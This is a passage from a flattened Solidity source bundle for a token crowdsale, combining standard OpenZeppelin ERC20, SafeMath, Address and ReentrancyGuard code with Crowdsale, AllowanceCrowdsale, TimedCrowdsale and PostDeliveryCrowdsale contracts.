cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/interfaces/IERC20.sol"; import "./TimedCrowdsale.sol"; // import "./Secondary.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title PostDeliveryCrowdsale * @dev Crowdsale that locks tokens from withdrawal until it ends. */ abstract contract PostDeliveryCrowdsale is TimedCrowdsale { using SafeMath for uint256; mapping(address => uint256) private _balances; __unstable__TokenVault private _vault; constructor() { _vault = new __unstable__TokenVault(); } /** * @dev Withdraw tokens only after crowdsale ends. * @param beneficiary Whose tokens will be withdrawn. */ function withdrawTokens(address beneficiary) public { require(hasClosed(), "PostDeliveryCrowdsale: not closed"); uint256 amount = _balances[beneficiary]; require( amount > 0, "PostDeliveryCrowdsale: beneficiary is not due any tokens" ); _balances[beneficiary] = 0; _vault.transfer(token(), beneficiary, amount); } /** * @return the balance of an account. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev Overrides parent by storing due balances, and delivering tokens to the vault instead of the end user. This * ensures that the tokens will be available by the time they are withdrawn (which may not be the case if * `_deliverTokens` was called later). * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal override { _balances[beneficiary] = _balances[beneficiary].add(tokenAmount); _deliverTokens(address(_vault), tokenAmount); } } /** * @title __unstable__TokenVault * @dev Similar to an Escrow for tokens, this contract allows its primary account to spend its tokens as it sees fit. * This contract is an internal helper for PostDeliveryCrowdsale, and should not be used outside of this context. */ // solhint-disable-next-line contract-name-camelcase contract __unstable__TokenVault is Ownable { function transfer( IERC20 token, address to, uint256 amount ) public onlyOwner { token.transfer(to, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; import "../token/ERC20/IERC20.sol"; // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AllowanceCrowdsale.sol"; /** * @title TimedCrowdsale * @dev Borrow from https://github.dev/OpenZeppelin/openzeppelin-contracts/blob/docs-v2.x/contracts/crowdsale/validation/TimedCrowdsale.sol * @dev Crowdsale accepting contributions only within a time frame. */ abstract contract TimedCrowdsale is AllowanceCrowdsale { uint256 private _openingTime; uint256 private _closingTime; /** * Event for crowdsale extending * @param newClosingTime new closing time * @param prevClosingTime old closing time */ event TimedCrowdsaleExtended( uint256 prevClosingTime, uint256 newClosingTime ); /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen() { require(isOpen(), "TimedCrowdsale: not open"); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param openingTime Crowdsale opening time * @param closingTime Crowdsale closing time */ constructor(uint256 openingTime, uint256 closingTime) { // solhint-disable-next-line not-rely-on-time require( openingTime >= block.timestamp, "TimedCrowdsale: opening time is before current time" ); // solhint-disable-next-line max-line-length require( closingTime > openingTime, "TimedCrowdsale: opening time is not before closing time" ); _openingTime = openingTime; _closingTime = closingTime; } /** * @return the crowdsale opening time. */ function openingTime() public view returns (uint256) { return _openingTime; } /** * @return the crowdsale closing time. */ function closingTime() public view returns (uint256) { return _closingTime; } /** * @return true if the crowdsale is open, false otherwise. */ function isOpen() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp > _closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view virtual override onlyWhileOpen { super._preValidatePurchase(beneficiary, weiAmount); } /** * @dev Extend crowdsale. * @param newClosingTime Crowdsale closing time */ function _extendTime(uint256 newClosingTime) internal { require(!hasClosed(), "TimedCrowdsale: already closed"); // solhint-disable-next-line max-line-length require( newClosingTime > _closingTime, "TimedCrowdsale: new closing time is before current closing time" ); emit TimedCrowdsaleExtended(_closingTime, newClosingTime); _closingTime = newClosingTime; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./Crowdsale.sol"; /** * @title AllowanceCrowdsale * @dev Borrow from https://github.dev/OpenZeppelin/openzeppelin-contracts/blob/docs-v2.x/contracts/crowdsale/emission/AllowanceCrowdsale.sol * @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale. */ abstract contract AllowanceCrowdsale is Crowdsale { using SafeERC20 for IERC20; address private _tokenWallet; /** * @dev Constructor, takes token wallet address. * @param tokenWallet Address holding the tokens, which has approved allowance to the crowdsale. */ constructor(address tokenWallet) { require( tokenWallet != address(0), "AllowanceCrowdsale: token wallet is the zero address" ); _tokenWallet = tokenWallet; } /** * @return the address of the wallet that will hold the tokens. */ function tokenWallet() public view returns (address) { return _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return Math.min( token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this)) ); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal virtual override { token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @title Crowdsale * @dev OpenZeppelin and upgrade to solidity v0.8.0 * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conforms * the base architecture for crowdsales. It is *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale is Context, ReentrancyGuard { using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param rate Number of token units a buyer gets per wei * @dev The rate is the conversion between wei and the smallest and indivisible * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor( uint256 rate, address payable wallet, IERC20 token ) public { require(rate > 0, "Crowdsale: rate is 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require( address(token) != address(0), "Crowdsale: token is the zero address" ); _rate = rate; _wallet = wallet; _token = token; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ receive() external payable { buyTokens(_msgSender()); } /** * @return the token being sold. */ function token() public view returns (IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public payable nonReentrant { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised + weiAmount; _processPurchase(beneficiary, tokens); emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view virtual { require( beneficiary != address(0), "Crowdsale: beneficiary is the zero address" ); require(weiAmount != 0, "Crowdsale: weiAmount is 0"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal virtual { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal virtual { _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, * etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount * _rate; } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { _wallet.transfer(msg.value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions 